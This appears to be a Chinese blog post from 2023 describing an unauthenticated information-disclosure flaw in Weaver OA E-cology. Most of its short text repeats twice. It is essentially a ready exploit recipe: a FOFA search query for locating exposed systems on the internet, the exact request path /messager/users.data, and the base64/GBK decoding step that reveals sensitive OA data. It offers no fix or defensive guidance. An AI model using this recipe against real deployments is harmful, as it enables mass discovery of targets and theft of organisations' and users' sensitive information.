漏洞描述
泛微OA E-cology user.data允许任意用户下载，获取OA中的敏感信息
漏洞影响
泛微OA E-cology
漏洞复现
fofa语法：app="泛微-协同商务系统"
登录页面：
POC：
/messager/users.data
base64 GBK解码即可获取OA中的敏感数据
泛微E-cology user.data敏感信息泄露
发布时间 2023-09-04 15:57:24作者: 学安全的小白
泛微OA E-cology user.data允许任意用户下载，获取OA中的敏感信息
泛微OA E-cology
fofa语法：app="泛微-协同商务系统"
登录页面：
POC：
/messager/users.data
base64 GBK解码即可获取OA中的敏感数据